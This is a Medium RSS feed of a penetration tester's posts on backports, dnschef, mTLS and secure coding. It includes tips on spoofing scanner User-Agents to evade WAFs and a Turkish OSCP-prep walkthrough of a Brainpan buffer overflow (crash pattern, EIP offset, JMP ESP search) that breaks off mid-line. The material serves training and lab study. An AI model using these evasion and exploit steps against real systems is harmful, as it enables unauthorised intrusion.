<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Murat Alagoz on Medium]]></title>
        <description><![CDATA[Stories by Murat Alagoz on Medium]]></description>
        <link>https://medium.com/@mrtalagoz?source=rss-20709feab3a3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*S-0r9H0sqnNY70bXg9bhig.png</url>
            <title>Stories by Murat Alagoz on Medium</title>
            <link>https://medium.com/@mrtalagoz?source=rss-20709feab3a3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:36:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mrtalagoz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Taking Back Your Digital Privacy: A Realistic Guide Summary]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://mrtalagoz.medium.com/taking-back-your-digital-privacy-a-realistic-guide-summary-d3fc360ea36c?source=rss-20709feab3a3------2"><img src="https://cdn-images-1.medium.com/max/710/0*hNzSm9m42LRNnEw2.jpg" width="710"></a></p><p class="medium-feed-snippet">Protecting your online privacy can feel like a full-time job. But here&#x2019;s the good news: you don&#x2019;t need to do everything at once. The&#x2026;</p><p class="medium-feed-link"><a href="https://mrtalagoz.medium.com/taking-back-your-digital-privacy-a-realistic-guide-summary-d3fc360ea36c?source=rss-20709feab3a3------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://mrtalagoz.medium.com/taking-back-your-digital-privacy-a-realistic-guide-summary-d3fc360ea36c?source=rss-20709feab3a3------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3fc360ea36c</guid>
            <category><![CDATA[digital-privacy]]></category>
            <category><![CDATA[tips-and-tricks]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privacy]]></category>
            <dc:creator><![CDATA[Murat Alagoz]]></dc:creator>
            <pubDate>Sat, 29 Nov 2025 03:09:42 GMT</pubDate>
            <atom:updated>2025-11-29T03:09:42.638Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[The Hidden Layers of Versioning: Understanding Backports in Web Applications]]></title>
            <link>https://mrtalagoz.medium.com/the-hidden-layers-of-versioning-understanding-backports-in-web-applications-4123694a2ceb?source=rss-20709feab3a3------2</link>
            <guid isPermaLink="false">https://medium.com/p/4123694a2ceb</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Murat Alagoz]]></dc:creator>
            <pubDate>Tue, 17 Sep 2024 22:41:45 GMT</pubDate>
            <atom:updated>2025-08-11T18:33:12.756Z</atom:updated>
            <content:encoded><![CDATA[<p>As web application pentesters, we often rely on version information disclosed by applications to identify vulnerabilities. However, what if the version numbers you are seeing do not tell the whole story? Welcome to the nuanced world of backports, where the version you see may not reflect the underlying architecture.</p><h3>What Is a Backport?</h3><p>Backporting is the process of taking a fix or feature from a newer version of software and porting it back to an older version. This is commonly done by operating system maintainers and software vendors to provide security patches without introducing the instability that might come with a full version upgrade. The moment I faced with that ugly truth back in time, my wise🧙 manager excused me for some minutes to enjoy the moment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v5jXoo-aMYvf_DZU" /></figure><p>Anyhow, the challenge is solid! You can find <a href="https://access.redhat.com/security/updates/backporting">here</a> and <a href="https://en.wikipedia.org/wiki/Backporting">here</a> more information.</p><h3>The Illusion of a Vulnerability</h3><p>Imagine you are testing a web server that discloses its version as Apache 2.4.6, a version known to have several vulnerabilities. You would be inclined to run the public exploits, right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*jORDgIS90G0ZtfkX.jpg" /></figure><p>However, if the server is part of a system like Red Hat, it’s possible that security patches have been backported to this version without changing the version number.</p><h3>The Underlying Architecture Matters</h3><p>Understanding that the underlying architecture may differ from what’s disclosed is crucial. Systems may run custom or heavily modified software versions where standard vulnerabilities don’t apply.</p><p><strong>Random Tips:</strong></p><ul><li><strong>Custom Builds:</strong> Be aware that some organizations use custom builds that include selective patches.</li><li><strong>Containerization and Microservices:</strong> Modern architectures may hide the true nature of services behind layers of abstraction.</li><li><strong>Network/Host Isolation: </strong>Depending on your vulnerability, it may not pe possible to run your commands/requests successfully. (FW/IDS/Network segmentation or host based security systems)</li></ul><h3>Conclusion</h3><p>I do not have any solution. Identifying the backports not trivial for internal pentesters or in house AppSec teams as well. External pentesters often do blackbox tests, and unfortunately, other than reporting your observations, there is not thing to do.</p><p>If you know a better way, please let me know!</p><p><strong>Stay hungry, stay foolish.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*wblq6VswvOPBUHKv.gif" /></figure><p>Anyhow,</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4123694a2ceb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Filtering Bot Traffic In Dnschef]]></title>
            <link>https://mrtalagoz.medium.com/filtering-bot-traffic-in-dnschef-6d274c994ed5?source=rss-20709feab3a3------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d274c994ed5</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[tips-and-tricks]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Murat Alagoz]]></dc:creator>
            <pubDate>Fri, 06 Sep 2024 01:48:29 GMT</pubDate>
            <atom:updated>2024-09-06T01:49:55.371Z</atom:updated>
            <content:encoded><![CDATA[<p>When using <a href="https://github.com/iphelix/dnschef">dnschef</a>, a highly configurable DNS proxy for penetration testers and malware analysts, you might encounter a situation where there are too many DNS requests from bots or unnecessary traffic that clutters the DNS logs.</p><p>This is especially common if you’re running the tool on a public server. In such environments, it’s not uncommon for bots, scanners, and even legitimate services to flood your server with requests, leading to significant traffic.</p><ul><li><strong>Web crawlers</strong>: Automated services designed to index and catalog websites often perform DNS lookups.</li><li><strong>Bots and malware</strong>: Malicious actors or compromised systems can bombard your server with DNS queries, either as part of reconnaissance or to exploit misconfigurations.</li><li><strong>Misconfigured systems</strong>: Devices or software configured to use your server as a DNS resolver might inadvertently send high volumes of DNS traffic.</li></ul><p>In such cases, you may want to filter traffic and only respond to specific domains defined while using the --fake-domain flag.</p><p>This post will guide you through how to modify <a href="https://github.com/iphelix/dnschef">dnschef</a>so that it only responds to DNS queries for the domains specified in the --fake-domain flag and ignores all other requests.</p><h3>The Problem</h3><p>By default, <a href="https://github.com/iphelix/dnschef">dnschef</a>will respond to any DNS request based on its configuration, which could include fake records, or it could proxy the request to a real DNS server. However, if you&#39;re only interested in cooking responses for specific domains, the rest of the requests can become noise.</p><h3>The Solution</h3><p>I have come to a solution which is relatively simple: modify <a href="https://github.com/iphelix/dnschef">dnschef</a>to only respond to queries for domains listed in the --fake-domain flag and drop proxying the rest.</p><p>Here&#39;s how you can do this by adjusting the logic within the parse function in the DNSHandler class.</p><h3>Steps to Modify the Code</h3><p>Locate the<strong> </strong><a href="https://github.com/iphelix/dnschef/blob/a395411ae1f5c262d0b80d06a45a445f696f3243/dnschef.py#L88"><strong>parse</strong></a><strong> </strong>function in the <a href="https://github.com/iphelix/dnschef/blob/a395411ae1f5c262d0b80d06a45a445f696f3243/dnschef.py#L86">DNSHandler</a>class.</p><p><strong>Add a check</strong> to see if the query matches any fake domains. If it doesn’t, either ignore the request or proxy it to a real DNS server. Insert the following code snippet in the parse function, just before the proxying logic:</p><pre>elif all(not record for record in fake_records.values()):<br>     return None</pre><p>It should look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h_oFo99A8K0bouLmLyPZIQ.png" /></figure><p>Do not forget to take a backup before making changes :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d274c994ed5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Change your User Agent in web pentests/bug bounties: Don’t Be a Plain Jane!]]></title>
            <link>https://mrtalagoz.medium.com/change-your-user-agent-in-web-pentests-bug-bounties-dont-be-a-plain-jane-98b442a0c601?source=rss-20709feab3a3------2</link>
            <guid isPermaLink="false">https://medium.com/p/98b442a0c601</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bugbounty-tips]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Murat Alagoz]]></dc:creator>
            <pubDate>Fri, 21 Apr 2023 12:18:26 GMT</pubDate>
            <atom:updated>2023-06-30T18:34:17.657Z</atom:updated>
            <content:encoded><![CDATA[<h3>Change your User Agent in web pentests and bug bounties: Don’t Be a Plain Tester!</h3><p>As an application security engineer, I’ve encountered countless scenarios where changing the User Agent of a web request can make a world of difference in a penetration test. Unfortunately, it’s also an area that’s often overlooked or misunderstood. In this blog post, I’ll explain why you should care about your User Agent and show you some fun examples of using it with tools like dirb, nikto, nmap, and gobuster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/0*1N8g2NdtuxIFIXPQ" /><figcaption>I’m a human.</figcaption></figure><p>The server uses the User-Agent header in an HTTP request to identify the client making the request. By default, most tools will use a plain User Agent that gives away your intentions and makes it easy for the server to detect that you’re not a real user, more over WAFs or DevOps can block certain well-known user agent strings. Changing your User Agent can help you blend in with legitimate traffic, bypass certain restrictions, and uncover new attack surfaces.</p><p>First, let’s determine what your user agent is now. There are many ways to do it, but visiting <a href="https://ifconfig.me/ua">https://ifconfig.me/ua</a> is the easiest for me. You can find many others with some google-fu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*MLv6cD_PScG8Rg3nJumcKw.png" /></figure><p>Let’s start with dirb, a popular web content scanner. By default, dirb will use the User Agent “dirb”. You can use the -a flag followed by a custom User Agent string to change it. For example, you could use “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3” to mimic a Chrome browser on Windows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*M755m3cwljx9-RhqiSCLHw.png" /></figure><p>Next up is nikto, a web server scanner. Nikto has a built-in option to randomize the User Agent with the -ua flag. This can help you avoid detection by WAFs or other security measures that rely on User Agent fingerprinting. But if you want to give a specific value, you can visit /etc/nikto/nikto.conf and change the configuration file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*XTjNb_STzNBLNYVVbJMzsg.png" /></figure><p>The different Linux distros might have different places for the config file. In my WSL2 Ubuntu /etc/nikto/config.txt, you got the idea.</p><p>Moving on to nmap, the Swiss Army knife of network scanning. Nmap allows you to specify a custom User Agent string with the scripts. If you bear me till now, I will assume that you know that user-agent will be useful for web applications. So the command will look like more or less:</p><p>nmap -p 80,443 -sV --script http-waf-detect,http-waf-fingerprint --http.useragent &quot;insert your useragent string here&quot;</p><p>Finally, let’s discuss gobuster, a popular directory and file brute-forcing tool. Gobuster allows you to specify a custom User Agent string with the -u flag, which is used to specify the target URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*b7QWb-qjRCf_-OQ4G7vawg.png" /></figure><p>Changing your User Agent is a simple but effective way to enhance your web penetration testing and bug bounty efforts. By using a custom User Agent-, you can blend in with legitimate traffic, bypass certain restrictions, and uncover new attack surfaces. So don’t be a plain Jane, spice up your User Agent and have some fun with your web pentest!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98b442a0c601" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mutual TLS — mTLS]]></title>
            <link>https://mrtalagoz.medium.com/mutual-tls-mtls-f805c6dcde20?source=rss-20709feab3a3------2</link>
            <guid isPermaLink="false">https://medium.com/p/f805c6dcde20</guid>
            <category><![CDATA[oauth2]]></category>
            <category><![CDATA[mtls-authentication]]></category>
            <category><![CDATA[oauth]]></category>
            <category><![CDATA[authentication]]></category>
            <dc:creator><![CDATA[Murat Alagoz]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 17:42:15 GMT</pubDate>
            <atom:updated>2023-04-20T15:02:04.789Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mutual TLS — mTLS</h3><p>Transport Layer Security (TLS) is widely used to secure communication between clients and servers. While standard TLS provides server authentication, mutual TLS (mTLS) adds client authentication, ensuring both parties are who they claim to be.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*Lp5LyXD_Cgd_TzRM.jpg" /></figure><p>In this blog post, we’ll explore the concept of mutual TLS, its advantages, and how to implement it for enhanced security in client-server communication.</p><p>TLS is a protocol that provides encryption and authentication in client-server communication. It ensures that data transmitted between a client and a server is protected from eavesdropping and tampering. However, in standard TLS, only the <strong>server </strong>is authenticated.</p><p>Mutual TLS (mTLS), also known as two-way authentication or client-authenticated TLS, provides an additional layer of security by requiring the client to authenticate itself to the server. This ensures that both parties involved in the communication are verified, preventing unauthorized access to protected resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*MWwBdwVehW6o1OX9.jpg" /></figure><p>There is a great article by <a href="https://bit.ly/mtlsmurat">Cloudflare</a> for more information.</p><p><strong>Advantages of Mutual TLS:</strong></p><p>Some of the key benefits of implementing mutual TLS include:</p><ul><li><strong>Enhanced security:</strong> By authenticating the client and the server, mTLS provides an extra layer of protection against unauthorized access and impersonation attacks.</li><li><strong>Fine-grained access control:</strong> mTLS allows you to control access to your resources at the client level, providing better control over who can access your services.</li><li><strong>Improved trust:</strong> With mutual authentication, both parties can be confident in the identity of the other, creating a more secure and trusted communication channel.</li></ul><p><strong>Implementing Mutual TLS:</strong></p><p>Implementing mTLS involves several steps, including creating, distributing, and managing certificates. Here’s an overview of the process:</p><ul><li><strong>Certificate Authority (CA):</strong> A trusted CA is responsible for issuing certificates to clients and servers. Both parties must trust the same CA for mTLS to work.</li><li><strong>Server Certificate:</strong> The server needs a certificate issued by the CA, containing its public key and identity information.</li><li><strong>Client Certificate:</strong> Each client also needs a certificate issued by the CA, containing its public key and identity information.</li><li><strong>Certificate Distribution: </strong>Distribute the client certificates to the respective clients and ensure they can access the CA’s root certificate.</li><li><strong>Server Configuration:</strong> Configure the server to request and validate client certificates during the TLS handshake process.</li><li><strong>Client Configuration:</strong> Configure the client to present its certificate during the TLS handshake and validate the server’s certificate.</li></ul><p><strong>Certificate Management and Renewal:</strong></p><p>Proper certificate management is crucial for maintaining a secure mTLS implementation. Here are some best practices:</p><ul><li><strong>Keep private keys secure:</strong> Ensure that private keys for clients and servers are stored securely and not exposed to unauthorized parties.</li><li><strong>Monitor certificate expiration:</strong> Regularly monitor the expiration dates of your certificates and renew them before they expire to prevent service disruptions.</li><li><strong>Revoke compromised certificates: </strong>If a certificate is compromised, revoke it immediately and replace it with a new one.</li></ul><p><strong>Challenges:</strong></p><p>While mutual TLS offers significant security benefits, it also comes with some challenges and considerations:</p><ul><li><strong>Complexity:</strong> Implementing mTLS requires additional configuration and management compared to standard TLS.</li><li><strong>Scalability:</strong> Distributing and managing client certificates can be challenging, especially in large-scale environments.</li><li><strong>Performance:</strong> The additional authentication process in mTLS may introduce latency in client-server communication.</li></ul><p><strong>Security Considerations:</strong></p><ol><li><strong>Certificate-Bound Refresh Tokens<br></strong>The OAuth 2.0 Authorization Framework [RFC6749] requires that an authorization server (AS) bind refresh tokens to the client to which they were issued and that confidential clients (those having established authentication credentials with the AS) authenticate to the AS when presenting a refresh token. As a result, refresh tokens are indirectly certificate-bound by way of the client ID and the associated requirement for (certificate-based) authentication to the AS when issued to clients utilizing the tls_client_auth or self_signed_tls_client_auth methods of client authentication.</li><li><strong>Certificate Thumbprint Binding<br></strong>The binding between the certificate and access token uses a cryptographic hash of the certificate. It relies on the hash function having sufficient second-preimage resistance to make finding or creating another certificate that produces the same hash output value computationally infeasible. The SHA-256 hash function was used because it meets the requirement above while being widely available. If, in the future, certificate thumbprints need to be computed using a hash function(s) other than SHA-256, it is suggested that, for additional related JWT confirmation methods.</li><li><strong>TLS Versions and Best Practices<br></strong><a href="https://www.rfc-editor.org/rfc/rfc8705">RFC 8705</a> is applicable with any TLS version supporting certificate-based client authentication. Advised to use it with two: TLS 1.3 is the newest version, and TLS 1.2 is the most widely deployed. <br>TLS certificate validation (for client and server certificates) requires a local database of trusted certificate authorities (CAs). Decisions about what CAs to trust and how to determine trust is another whole subject that we won’t deep dive into.</li><li><strong>X.509 Certificate Spoofing<br></strong>If the PKI method of client authentication is used, an attacker could try to impersonate a client using a certificate with the same subject (DN or SAN) issued by a different CA that the authorization server trusts. To cope with that threat, the authorization server SHOULD only accept, as trust anchors, a limited number of CAs whose certificate issuance policy meets its security requirements. <br>There is an assumption then that the client and server agree out of band on the set of trust anchors that the server uses to create and validate the certificate chain. Without this assumption, utilizing a subject to identify the client certificate would open the server to certificate spoofing attacks.</li></ol><p>Mutual TLS is a powerful security mechanism that can significantly enhance the security of client-server communication. Understanding and implementing mTLS can protect your applications and services from unauthorized access and impersonation attacks.</p><p>As with any security measure, it’s essential to weigh the benefits and challenges and ensure that you follow best practices for certificate management, revocation, and renewal.</p><p>ps.:<strong>Community knowledge about the strength of various algorithms and possible attacks can change over time suddenly, and experience shows that a security document is a point-in-time statement. Please be advised to seek out any errata or updates from official resources.</strong></p><p>References:</p><p><a href="https://www.rfc-editor.org/rfc/rfc8705">https://www.rfc-editor.org/rfc/rfc8705</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f805c6dcde20" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[10 Secure Coding Practices]]></title>
            <link>https://mrtalagoz.medium.com/10-secure-coding-practices-20f670c8693?source=rss-20709feab3a3------2</link>
            <guid isPermaLink="false">https://medium.com/p/20f670c8693</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[secure-coding]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[coding]]></category>
            <dc:creator><![CDATA[Murat Alagoz]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 17:07:27 GMT</pubDate>
            <atom:updated>2023-04-13T17:12:17.693Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, and welcome to another blog post.</p><p>In the vast and mysterious realm of cyberspace, there&#39;s always one thing we can count on: hackers trying to ruin our digital party or making it more exciting, depending on your perspective.</p><p>But fear not, for we, the Application Security Engineers, have taken up the mantle of digital superheroes, helping to safeguard the online world with the power of secure coding practices! 🦸‍♂️🦸‍♀️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/0*ac-kDREQE_vRW_RF.jpg" /></figure><p>Let&#39;s face it; in today&#39;s increasingly digital world, secure coding is more important than ever. It&#39;s the difference between enjoying a peaceful stroll through a well-guarded virtual park and playing an endless game of whack-a-mole with security vulnerabilities. 😰</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/218/0*k1bJOxFx0ZOk329-" /></figure><p>Should we accept it, our mission is to protect our users&#39; sensitive data from hackers. And we do that by incorporating secure coding practices into every nook and cranny of our applications. So, buckle up because we&#39;re about to embark on a thrilling journey through secure coding!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*JfZ-pPNqxbzp1vtb.jpg" /></figure><p>Our mission begins by emphasizing the importance of secure coding practices in preventing security vulnerabilities and protecting sensitive data from potential attacks. Whether you&#39;re a seasoned developer or a coding newbie, these practices are crucial in ensuring the safety and integrity of your application. After all, with great coding power comes great responsibility. 😉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*RNnzWUVFgqrOqO-G.gif" /></figure><p>This blog post series will delve into the top 10 secure coding practices every application security engineer should know. These techniques will help you stay ahead and create a safer digital environment. I will try to write another dedicated blogpost for every article in the future…</p><p>Grab your hoodies and keyboards, and let&#39;s dive into the world of secure coding!</p><ol><li><strong>Validate Input:</strong> Never trust user input. Continuously validate and sanitize input data to ensure it conforms to the expected format, length, and type. Implementing proper input validation can help prevent common attacks like SQL injection and cross-site scripting (XSS)(NB: Cross-site Scripting (XSS) merged into injection attack in OWASP Top Ten in 2021 version)).</li><li><strong>Encode Data:</strong> Encode data before displaying it in the user interface to prevent code injection attacks. Use appropriate encoding techniques like HTML entity encoding, URL encoding, and JavaScript encoding to mitigate the risk of XSS attacks.</li><li><strong>Implement the Least Privilege Principle:</strong> Limit the access rights of users and applications to the minimum necessary to perform their tasks. Ensure that users can only access their authorized resources, preventing unauthorized access to sensitive data.</li><li><strong>Secure Password Storage: </strong>Store passwords securely using robust, one-way hashing algorithms like bcrypt, scrypt, or Argon2. Implement proper password policies, such as minimum length, complexity requirements, and expiration intervals.</li><li><strong>Keep Software and Libraries Updated:</strong> Regularly update software, frameworks, and libraries to ensure security patches are applied. This helps protect your application from known vulnerabilities and exploits.</li><li><strong>Error and Exception Handling: </strong>Handle errors and exceptions securely by not revealing sensitive information to users. Log errors and exceptions for later analysis, but redact any sensitive data from the logs.</li><li><strong>Secure Communication:</strong> Use encryption to protect sensitive data transmitted over networks. Implement HTTPS and use secure protocols like TLS to safeguard your application from eavesdropping and man-in-the-middle attacks.</li><li><strong>Secure File Uploads:</strong> Restrict file upload functionality to authorized users and validate file types, sizes, and contents before allowing uploads. Store uploaded files in a secure location, separate from the webroot, to prevent direct access or execution.</li><li><strong>Regular Security Testing: </strong>Perform regular security testing, including code reviews, vulnerability scans, and penetration testing. This will help identify potential vulnerabilities and ensure the effectiveness of your security measures.</li><li><strong>Security Awareness and Training:</strong> Educate your development team on secure coding practices and the latest security threats. Please encourage them to stay informed and up-to-date on best practices for application security.</li></ol><p>Incorporating secure coding practices into every aspect of the software development lifecycle is crucial in today’s digital landscape. It’s important for application security engineers to remain proactive in their efforts to build and maintain secure applications. I hope that the secure coding practices outlined in this blog post will serve as a helpful guide for you.</p><p>I invite you to share your experiences and insights on secure coding in the comments section below. Together, we can work towards building more secure applications and creating a safer digital world.</p><p>Cheers!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20f670c8693" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Road to OSCP-II]]></title>
            <link>https://mrtalagoz.medium.com/road-to-oscp-ii-984bba8740c2?source=rss-20709feab3a3------2</link>
            <guid isPermaLink="false">https://medium.com/p/984bba8740c2</guid>
            <category><![CDATA[turkish]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[siber-guvenlik]]></category>
            <dc:creator><![CDATA[Murat Alagoz]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 17:04:58 GMT</pubDate>
            <atom:updated>2023-04-13T17:05:31.904Z</atom:updated>
            <content:encoded><![CDATA[<p>Zamanin otesinde kalan bu yaziyida belki birilerine faydasi olur diye yayinliyorum. Sinava 1.5 sene once girdim ve basariyla gectim. Umarim faydasi olur.</p><p>—</p><p>Evet, itiraf ediyorum çok boşladım bu sınavı. Bir yandan dersler, bir yandan çalışma hayatı ve özel hayat arasında vakit buldukça OSCP sınavına hazırlanıyorum. Bu zamana kadar kendi hobim olan web uygulama güvenliğine biraz yönelmişken, “hadi abi haftaya alıyoruz oscp” diyen arkadaş sayesinde uyandım bu rüyadan.</p><p>Soruları anlatınca hiç birisinin htb deki gibi beyin yakan sorular olmadığını tam tersine, panik yapmadıkça çözülebilecek sorular olduğunu anlatıyorlar. Bende o zaman “exploit geliştirmeyeli uzun zaman oldu bof konusunda körelmişizdir” deyip başlıyorum oscp-like bof sorusu indirmeye. Bugünkü makine <a href="https://www.vulnhub.com/entry/brainpan-1,51/">brainpan</a>. Başlangıçta bir readme yani “oku beni” dosyası var.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*OqvqSm3OUkSNpWNtwKd5jg.png" /></figure><p>İlk açılışta bridged olarak gelen ağ kartını nat a alıp makinayı çalıştırıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*BaYKbKNuyKKYu5A3j8bq1g.png" /></figure><p>Ağda başka makinalar olduğu için ip yi tam anamak için subnetin hepsini tarayıp şüpheli port a nc atınca karşıma bir loin ekranı geliyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*Uh4hjjtTKpdp2ZfTM1gkOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*Wothhd4wlR0A1BBaXIsgcg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*DFhKbNLywgZVEZSaasR5JA.png" /></figure><p>Alışkanlıktan olsa gerek nmapAutamator a verip devam ediyorum.</p><p>Diğer yandan fuzzing mi dersin tüm tuşlara basmak mı dersin ilerliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*bbRaDpWJ6mRUX8MhIeB0JA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*Ch3n9anfH4WyAS1oJSNqVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*ACqdDkwkTQn_2cyfywe5QQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*_myG64rrWJxvzNG38ACj7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*p5Zy411CuyhdzaOQnjIsug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*M4FGFc7SYKamIgwjKXnnlQ.png" /></figure><p>Exe dosyasını alıp incelemeye başlıyorum. Öncelikle alışkanlık ida ve ghidra ile biraz göz gezdirdikten sonra ida nın debugger ı ile çalıştırdım ama daha sonra immunity debugger a geçiyorum. Programı çalıştırınca 9999 portunu açıyor ve beklemeye başlıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*osluN8yRoNrrhka5qcZCDQ.png" /></figure><p><em>/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000</em></p><p>komutu ile 1000 karakterlik bir patern oluşturup nc ile gönderiyorum (pythonda körelmişim manuel denedim).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*rQZfeA6CveRADQ1c0qqt-g.png" /></figure><p>ve güm :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*I_NeNzx7jv9eB_SbakickQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/229/1*VRSvk9HGBsJTwHTSgOl9Fg.png" /></figure><p>EIP=35724164 hemen pattern offsetten nerede olduğunu buluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*eP7Nx1UGuSEfMqWEUcP1Dg.png" /></figure><p>Süper. bir deneyelim ne yapalım. 524 karakterlik bir junk byte sonrasında baba yazdıralım yani:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*tsQVTbCou4wncj4XpMSbsw.png" /></figure><p>Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Arbaba</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*tJkbS4FijL-PjXdb9tmqkA.png" /></figure><p>EIP kontrol altında.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/262/1*8xTCqBGDfQO2UzC_1PRFhQ.png" /></figure><p>Soru bitince geri dönüp python ile yazmaya çalıştım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*6FPvIN70_MUUAC_9pSg8bQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CmVAIXSbeNcHm_P88CYvpg.png" /></figure><p>Şimdi eip kontrol ettiğimize göre bir gadget bulmaya geliyor sıra. ctrl+f yardımıyla aramayı yaptığımızda;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*SHZh6dX5fgvXu9SfDP_y1g.png" /></figure><p>311712F3 . FFE4 JMP 